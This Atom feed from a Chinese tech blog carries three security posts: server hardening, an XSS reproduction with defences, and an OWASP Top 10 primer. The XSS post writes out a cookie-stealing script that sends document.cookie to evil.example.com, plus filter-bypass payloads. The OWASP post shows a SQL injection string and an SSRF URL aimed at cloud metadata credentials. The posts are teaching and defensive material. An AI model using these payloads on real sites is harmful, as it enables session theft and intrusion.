<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>站长</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://maoniang.cloud/</id>
  <link href="https://maoniang.cloud/" rel="alternate"/>
  <link href="https://maoniang.cloud/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, 站长</rights>
  <subtitle>一个记录生活、技术与奇思妙想的小站</subtitle>
  <title>书技suket</title>
  <updated>2026-09-08T09:46:46.000Z</updated>
  <entry>
    <author>
      <name>站长</name>
    </author>
    <category term="网络安全" scheme="https://maoniang.cloud/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="网络安全" scheme="https://maoniang.cloud/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="运维" scheme="https://maoniang.cloud/tags/%E8%BF%90%E7%BB%B4/"/>
    <category term="hardening" scheme="https://maoniang.cloud/tags/hardening/"/>
    <content>
      <![CDATA[<p>新买的云服务器默认是很「裸」的。下面这 10 项做完，能挡掉 <strong>90% 的自动化扫描和脚本小子</strong>。全程命令行，一台机器大约半小时。</p><!-- 封面图：图片放在与本文同名的 server-hardening/ 文件夹里，正文写 ![](图片名) 即可显示 --><p><img src="/2026/09/07/server-hardening/linux-security-cover.svg" alt="Linux服务器加固封面"></p><h2 id="1-禁用-root-直接登录，改用密钥"><a href="#1-禁用-root-直接登录，改用密钥" class="headerlink" title="1. 禁用 root 直接登录，改用密钥"></a>1. 禁用 root 直接登录，改用密钥</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 本地生成密钥</span></span><br><span class="line">ssh-keygen -t ed25519 -C <span class="string">&quot;your@email.com&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 把公钥传上去</span></span><br><span class="line">ssh-copy-id -i ~/.ssh/id_ed25519.pub user@your-server-ip</span><br></pre></td></tr></table></figure><p>然后改 <code>/etc/ssh/sshd_config</code>：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">PermitRootLogin no</span><br><span class="line">PasswordAuthentication no</span><br><span class="line">PubkeyAuthentication yes</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl restart sshd</span><br></pre></td></tr></table></figure><p><strong>改之前务必另开一个终端确认能登进去</strong>，否则可能把自己锁在门外。</p><h2 id="2-换掉默认-SSH-端口（可选）"><a href="#2-换掉默认-SSH-端口（可选）" class="headerlink" title="2. 换掉默认 SSH 端口（可选）"></a>2. 换掉默认 SSH 端口（可选）</h2><p>改成非 22 能显著减少日志里的爆破噪音，但<strong>这不是安全措施</strong>，只是减少骚扰。真正的安全靠的是第 1 步的密钥。</p><h2 id="3-装-fail2ban"><a href="#3-装-fail2ban" class="headerlink" title="3. 装 fail2ban"></a>3. 装 fail2ban</h2><p>自动封禁连续登录失败的 IP：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install -y fail2ban</span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now fail2ban</span><br></pre></td></tr></table></figure><h2 id="4-配置防火墙，只开必要端口"><a href="#4-配置防火墙，只开必要端口" class="headerlink" title="4. 配置防火墙，只开必要端口"></a>4. 配置防火墙，只开必要端口</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> ufw default deny incoming</span><br><span class="line"><span class="built_in">sudo</span> ufw allow 22/tcp</span><br><span class="line"><span class="built_in">sudo</span> ufw allow 80/tcp</span><br><span class="line"><span class="built_in">sudo</span> ufw allow 443/tcp</span><br><span class="line"><span class="built_in">sudo</span> ufw <span class="built_in">enable</span></span><br></pre></td></tr></table></figure><p><strong>数据库端口（3306、6379、27017）千万不要对外开放。</strong> 这是最常见的翻车点。</p><h2 id="5-开启自动安全更新"><a href="#5-开启自动安全更新" class="headerlink" title="5. 开启自动安全更新"></a>5. 开启自动安全更新</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install -y unattended-upgrades</span><br><span class="line"><span class="built_in">sudo</span> dpkg-reconfigure -plow unattended-upgrades</span><br></pre></td></tr></table></figure><h2 id="6-全站-HTTPS"><a href="#6-全站-HTTPS" class="headerlink" title="6. 全站 HTTPS"></a>6. 全站 HTTPS</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install -y certbot python3-certbot-nginx</span><br><span class="line"><span class="built_in">sudo</span> certbot --nginx -d yourdomain.com</span><br></pre></td></tr></table></figure><p>顺手加上安全响应头：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">add_header</span> Strict-Transport-Security <span class="string">&quot;max-age=31536000; includeSubDomains&quot;</span> always;</span><br><span class="line"><span class="attribute">add_header</span> X-Content-Type-Options <span class="string">&quot;nosniff&quot;</span> always;</span><br><span class="line"><span class="attribute">add_header</span> X-Frame-Options <span class="string">&quot;SAMEORIGIN&quot;</span> always;</span><br><span class="line"><span class="attribute">add_header</span> Referrer-Policy <span class="string">&quot;strict-origin-when-cross-origin&quot;</span> always;</span><br></pre></td></tr></table></figure><h2 id="7-隐藏版本号"><a href="#7-隐藏版本号" class="headerlink" title="7. 隐藏版本号"></a>7. 隐藏版本号</h2><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">server_tokens</span> <span class="literal">off</span>;</span><br></pre></td></tr></table></figure><p>同理，关闭 Nginx &#x2F; PHP 的版本暴露，别让攻击者一眼知道你跑的是什么版本。</p><h2 id="8-数据库不要用默认账户和默认库"><a href="#8-数据库不要用默认账户和默认库" class="headerlink" title="8. 数据库不要用默认账户和默认库"></a>8. 数据库不要用默认账户和默认库</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 删掉测试库，删掉匿名账户</span></span><br><span class="line"><span class="keyword">DROP</span> DATABASE IF <span class="keyword">EXISTS</span> test;</span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> mysql.user <span class="keyword">WHERE</span> <span class="keyword">User</span><span class="operator">=</span><span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="comment">-- 应用账户只给必要的库权限，不要给 ALL PRIVILEGES</span></span><br><span class="line"><span class="keyword">GRANT</span> <span class="keyword">SELECT</span>,<span class="keyword">INSERT</span>,<span class="keyword">UPDATE</span>,<span class="keyword">DELETE</span> <span class="keyword">ON</span> blog.<span class="operator">*</span> <span class="keyword">TO</span> <span class="string">&#x27;blog&#x27;</span>@<span class="string">&#x27;localhost&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="9-备份：3-2-1-原则"><a href="#9-备份：3-2-1-原则" class="headerlink" title="9. 备份：3-2-1 原则"></a>9. 备份：3-2-1 原则</h2><ul><li><strong>3</strong> 份副本</li><li><strong>2</strong> 种不同介质</li><li><strong>1</strong> 份异地</li></ul><p>最小可用实现：每天 <code>mysqldump</code> + <code>rsync</code> 到另一台机器，保留 7 天。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">DATE=$(<span class="built_in">date</span> +%F)</span><br><span class="line">mysqldump -u root -p<span class="string">&#x27;密码&#x27;</span> blog &gt; /backup/blog-<span class="variable">$DATE</span>.sql</span><br><span class="line">find /backup -name <span class="string">&quot;*.sql&quot;</span> -mtime +7 -delete</span><br></pre></td></tr></table></figure><p><strong>没验证过能恢复的备份，不算备份。</strong> 至少真的恢复演练一次。</p><h2 id="10-日志要送到删不掉的地方"><a href="#10-日志要送到删不掉的地方" class="headerlink" title="10. 日志要送到删不掉的地方"></a>10. 日志要送到删不掉的地方</h2><p>攻击者进来第一件事就是清日志。把关键日志实时同步到远程：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># rsyslog 转发到远端，或者用云厂商的日志服务</span></span><br><span class="line">*.* @@log-server.example.com:514</span><br></pre></td></tr></table></figure><hr><h2 id="做完之后的检查"><a href="#做完之后的检查" class="headerlink" title="做完之后的检查"></a>做完之后的检查</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 看看哪些端口在对外监听</span></span><br><span class="line"><span class="built_in">sudo</span> ss -tlnp</span><br><span class="line"><span class="comment"># 看看有没有异常登录</span></span><br><span class="line"><span class="built_in">sudo</span> last -20</span><br><span class="line"><span class="comment"># 看看谁在爆破</span></span><br><span class="line"><span class="built_in">sudo</span> grep <span class="string">&quot;Failed password&quot;</span> /var/log/auth.log | awk <span class="string">&#x27;&#123;print $11&#125;&#x27;</span> | <span class="built_in">sort</span> | <span class="built_in">uniq</span> -c | <span class="built_in">sort</span> -nr | <span class="built_in">head</span></span><br></pre></td></tr></table></figure><hr><h2 id="一句话总结"><a href="#一句话总结" class="headerlink" title="一句话总结"></a>一句话总结</h2><p>安全加固的优先级：<strong>密钥登录 &gt; 防火墙 &gt; HTTPS &gt; 自动更新 &gt; 备份</strong>。前两项做了，绝大多数自动化攻击就与你无关了。</p>]]>
    </content>
    <id>https://maoniang.cloud/2026/09/07/server-hardening/</id>
    <link href="https://maoniang.cloud/2026/09/07/server-hardening/"/>
    <published>2026-09-07T13:40:00.000Z</published>
    <summary>一台刚开出来的云服务器，从裸机到能放心对外提供服务，中间要做的 10 件事。</summary>
    <title>服务器上线前必做的 10 项安全加固</title>
    <updated>2026-09-08T09:46:46.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>站长</name>
    </author>
    <category term="网络安全" scheme="https://maoniang.cloud/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="网络安全" scheme="https://maoniang.cloud/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    <category term="XSS" scheme="https://maoniang.cloud/tags/XSS/"/>
    <content>
      <![CDATA[<p>XSS（跨站脚本）是出现频率最高的一类前端漏洞。很多人对它的印象停留在「弹个窗」，但它真正危险的地方在于：<strong>脚本能做任何用户能做的事</strong>。</p><h2 id="三种类型"><a href="#三种类型" class="headerlink" title="三种类型"></a>三种类型</h2><table><thead><tr><th>类型</th><th>触发方式</th><th>典型场景</th></tr></thead><tbody><tr><td>反射型</td><td>恶意代码在 URL 里，服务端原样返回</td><td>搜索结果页、错误提示页</td></tr><tr><td>存储型</td><td>恶意代码被存进数据库</td><td>评论区、昵称、个性签名</td></tr><tr><td>DOM 型</td><td>前端 JS 把不可信数据写进 DOM</td><td><code>innerHTML = location.hash</code></td></tr></tbody></table><h2 id="复现：从-alert-到盗号"><a href="#复现：从-alert-到盗号" class="headerlink" title="复现：从 alert 到盗号"></a>复现：从 alert 到盗号</h2><p><strong>第一步：确认有没有洞</strong></p><p>在搜索框输入：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="number">1</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>如果页面弹窗了，说明后端把输入原样输出了。</p><p><strong>第二步：换成真正有害的载荷</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">  <span class="title function_">fetch</span>(<span class="string">&#x27;https://evil.example.com/steal?c=&#x27;</span> + <span class="variable language_">document</span>.<span class="property">cookie</span>)</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>只要受害者访问了这个页面，<strong>Cookie 就到攻击者手上了</strong>。如果 Cookie 里带着会话 ID，且没有 <code>HttpOnly</code>，账号就丢了。</p><p><strong>第三步：绕过常见过滤</strong></p><p>很多站点会过滤 <code>&lt;script&gt;</code>，但可以绕：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;javascript:alert(1)&quot;</span>&gt;</span>点我<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br></pre></td></tr></table></figure><p>所以<strong>黑名单过滤基本没用</strong>，必须做输出编码。</p><h2 id="防御：四道防线"><a href="#防御：四道防线" class="headerlink" title="防御：四道防线"></a>防御：四道防线</h2><h3 id="1-输出编码（最重要）"><a href="#1-输出编码（最重要）" class="headerlink" title="1. 输出编码（最重要）"></a>1. 输出编码（最重要）</h3><p>根据输出位置选对应的编码方式：</p><table><thead><tr><th>输出位置</th><th>该做的编码</th></tr></thead><tbody><tr><td>HTML 文本节点</td><td>HTML 实体编码（<code>&lt;</code> → <code>&amp;lt;</code>）</td></tr><tr><td>HTML 属性</td><td>属性编码，并且<strong>属性值必须加引号</strong></td></tr><tr><td>JS 字符串里</td><td>JS 转义（<code>\</code> <code>&#39;</code> <code>&quot;</code>）</td></tr><tr><td>URL 参数</td><td><code>encodeURIComponent</code></td></tr></tbody></table><p>现代框架已经默认帮你做了：</p><ul><li>React：<code>&#123;&#125;</code> 插值默认转义，只有 <code>dangerouslySetInnerHTML</code> 会跳过</li><li>Vue：<code>&#123;&#123; &#125;&#125;</code> 默认转义，只有 <code>v-html</code> 会跳过</li></ul><p><strong>原则：永远不要用 <code>v-html</code> &#x2F; <code>dangerouslySetInnerHTML</code> 渲染用户输入。</strong></p><h3 id="2-CSP（内容安全策略）"><a href="#2-CSP（内容安全策略）" class="headerlink" title="2. CSP（内容安全策略）"></a>2. CSP（内容安全策略）</h3><p>加一个响应头，从根上限制脚本来源：</p><figure class="highlight nginx"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">add_header</span> Content-Security-Policy <span class="string">&quot;default-src &#x27;self&#x27;; script-src &#x27;self&#x27;; object-src &#x27;none&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>配了 CSP 之后，即使有漏网的 XSS，内联脚本也执行不了。这是<strong>性价比最高的一道防线</strong>。</p><h3 id="3-Cookie-加-HttpOnly"><a href="#3-Cookie-加-HttpOnly" class="headerlink" title="3. Cookie 加 HttpOnly"></a>3. Cookie 加 HttpOnly</h3><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Set-Cookie</span><span class="punctuation">: </span>sessionid=xxx; HttpOnly; Secure; SameSite=Lax</span><br></pre></td></tr></table></figure><p><code>HttpOnly</code> 之后 JS 读不到 Cookie，就算 XSS 成功也偷不走会话。</p><h3 id="4-富文本要专门处理"><a href="#4-富文本要专门处理" class="headerlink" title="4. 富文本要专门处理"></a>4. 富文本要专门处理</h3><p>如果业务确实需要用户发 HTML（比如博客评论支持加粗），必须走<strong>白名单消毒</strong>，用 DOMPurify 这类成熟库，不要自己写正则。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install dompurify</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> <span class="title class_">DOMPurify</span> <span class="keyword">from</span> <span class="string">&#x27;dompurify&#x27;</span>;</span><br><span class="line">element.<span class="property">innerHTML</span> = <span class="title class_">DOMPurify</span>.<span class="title function_">sanitize</span>(userInput);</span><br></pre></td></tr></table></figure><h2 id="自查清单"><a href="#自查清单" class="headerlink" title="自查清单"></a>自查清单</h2><ul><li><input disabled="" type="checkbox"> 所有用户输入输出时都做了编码</li><li><input disabled="" type="checkbox"> 没有任何地方用 <code>innerHTML</code> &#x2F; <code>v-html</code> 渲染用户输入</li><li><input disabled="" type="checkbox"> 配了 CSP</li><li><input disabled="" type="checkbox"> 会话 Cookie 带 <code>HttpOnly</code></li><li><input disabled="" type="checkbox"> 富文本走白名单消毒</li></ul><hr><p><strong>记住一句话</strong>：转义是防守，CSP 是保险，HttpOnly 是底裤。三层都穿上才敢睡觉。</p>]]>
    </content>
    <id>https://maoniang.cloud/2026/09/07/xss-demo/</id>
    <link href="https://maoniang.cloud/2026/09/07/xss-demo/"/>
    <published>2026-09-07T13:20:00.000Z</published>
    <summary>从「弹个 alert」到「偷走 Cookie」，一步步看 XSS 能干什么，以及前端到底该怎么防。</summary>
    <title>一次 XSS 的完整复现与防御</title>
    <updated>2026-09-08T09:46:46.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>站长</name>
    </author>
    <content>
      <![CDATA[<p>OWASP Top 10 是业界公认的 Web 应用十大风险清单。刚接触安全时最容易被那些缩写劝退，所以这一篇尽量用「人话」讲清楚每一类。</p><h2 id="1-失效的访问控制"><a href="#1-失效的访问控制" class="headerlink" title="1. 失效的访问控制"></a>1. 失效的访问控制</h2><p><strong>是什么</strong>：该拦的地方没拦。比如把地址栏里的 <code>?id=1001</code> 改成 <code>1002</code>，就能看到别人的订单。</p><p><strong>怎么防</strong>：服务端<strong>每次</strong>请求都校验「这个资源属不属于当前用户」，不能只在前端把按钮藏起来——藏了不等于没有。</p><h2 id="2-加密机制失效"><a href="#2-加密机制失效" class="headerlink" title="2. 加密机制失效"></a>2. 加密机制失效</h2><p><strong>是什么</strong>：用了弱算法（MD5 存密码）、或者压根没上 HTTPS、或者证书校验被绕过。</p><p><strong>怎么防</strong>：密码用 bcrypt &#x2F; argon2；全站 HTTPS；敏感字段单独加密。</p><h2 id="3-注入"><a href="#3-注入" class="headerlink" title="3. 注入"></a>3. 注入</h2><p><strong>是什么</strong>：把用户输入拼进了命令里。最典型的是 SQL 注入：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 后端如果这么写就完了</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;&quot; + input + &quot;&#x27;</span></span><br><span class="line"><span class="comment">-- 输入 &#x27; OR &#x27;1&#x27;=&#x27;1  就能把所有用户查出来</span></span><br></pre></td></tr></table></figure><p><strong>怎么防</strong>：<strong>用参数化查询（Prepared Statement）</strong>，永远不要手拼 SQL。ORM 默认就是参数化的。</p><h2 id="4-不安全的设计"><a href="#4-不安全的设计" class="headerlink" title="4. 不安全的设计"></a>4. 不安全的设计</h2><p>这是 2021 版新增的，指的是「设计阶段就没考虑安全」——比如验证码可以无限次试、短信接口没有频率限制。这类问题靠打补丁修不好，得在设计时想清楚。</p><h2 id="5-安全配置错误"><a href="#5-安全配置错误" class="headerlink" title="5. 安全配置错误"></a>5. 安全配置错误</h2><p>默认的口令没改、目录列表开着、报错信息把堆栈直接吐给用户、云存储桶设成了公开读。都属于这一类，而且<strong>极其常见</strong>。</p><h2 id="6-易受攻击的过时组件"><a href="#6-易受攻击的过时组件" class="headerlink" title="6. 易受攻击的过时组件"></a>6. 易受攻击的过时组件</h2><p>还在用三年前的 Log4j &#x2F; Struts &#x2F; 老版本 Nginx。</p><p><strong>怎么防</strong>：定期跑 <code>npm audit</code>、<code>pip-audit</code>、<code>trivy</code>，把依赖升级变成日常而不是救火。</p><h2 id="7-身份认证失效"><a href="#7-身份认证失效" class="headerlink" title="7. 身份认证失效"></a>7. 身份认证失效</h2><p>弱口令、验证码可爆破、会话 ID 写在 URL 里、登录失败次数不限制。</p><p><strong>怎么防</strong>：登录失败次数限制 + 多因素认证 + 会话超时。</p><h2 id="8-软件和数据完整性失效"><a href="#8-软件和数据完整性失效" class="headerlink" title="8. 软件和数据完整性失效"></a>8. 软件和数据完整性失效</h2><p>反序列化漏洞、CI&#x2F;CD 流水线被投毒、从不验证签名的自动更新。</p><h2 id="9-日志与监控不足"><a href="#9-日志与监控不足" class="headerlink" title="9. 日志与监控不足"></a>9. 日志与监控不足</h2><p>被打了还不知道，事后查不到是谁、什么时候、怎么进来的。</p><p><strong>怎么防</strong>：登录失败、权限变更、异常参数都要记日志，并且日志要送到<strong>攻击者删不掉的地方</strong>。</p><h2 id="10-SSRF（服务端请求伪造）"><a href="#10-SSRF（服务端请求伪造）" class="headerlink" title="10. SSRF（服务端请求伪造）"></a>10. SSRF（服务端请求伪造）</h2><p><strong>是什么</strong>：你让服务器去访问一个你给的 URL，结果它把内网也访问了一遍：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://api.example.com/fetch?url=http://169.254.169.254/latest/meta-data/</span><br></pre></td></tr></table></figure><p>上面这个地址在云主机上能拿到<strong>临时密钥</strong>。</p><p><strong>怎么防</strong>：白名单允许访问的域名 + 禁止访问内网网段 + 禁用非常见协议。</p><hr><h2 id="一句话总结"><a href="#一句话总结" class="headerlink" title="一句话总结"></a>一句话总结</h2><table><thead><tr><th>类别</th><th>最短的防御动作</th></tr></thead><tbody><tr><td>访问控制</td><td>每次请求都校验归属</td></tr><tr><td>加密</td><td>密码用 bcrypt，全站 HTTPS</td></tr><tr><td>注入</td><td>参数化查询</td></tr><tr><td>配置</td><td>关掉默认账户和目录列表</td></tr><tr><td>组件</td><td>定期<code>npm audit</code></td></tr><tr><td>认证</td><td>失败次数限制 + MFA</td></tr><tr><td>SSRF</td><td>域名白名单 + 禁内网</td></tr></tbody></table><p>安全不是一次性项目，是<strong>习惯</strong>。</p>]]>
    </content>
    <id>https://maoniang.cloud/2026/09/07/owasp-top10/</id>
    <link href="https://maoniang.cloud/2026/09/07/owasp-top10/"/>
    <published>2026-09-07T13:00:00.000Z</published>
    <summary>把 OWASP Top 10 讲成「人话」——每一类漏洞到底是什么、怎么被打、怎么防。</summary>
    <title>Web 安全入门：OWASP Top 10 速览</title>
    <updated>2026-09-08T15:13:12.892Z</updated>
  </entry>
</feed>
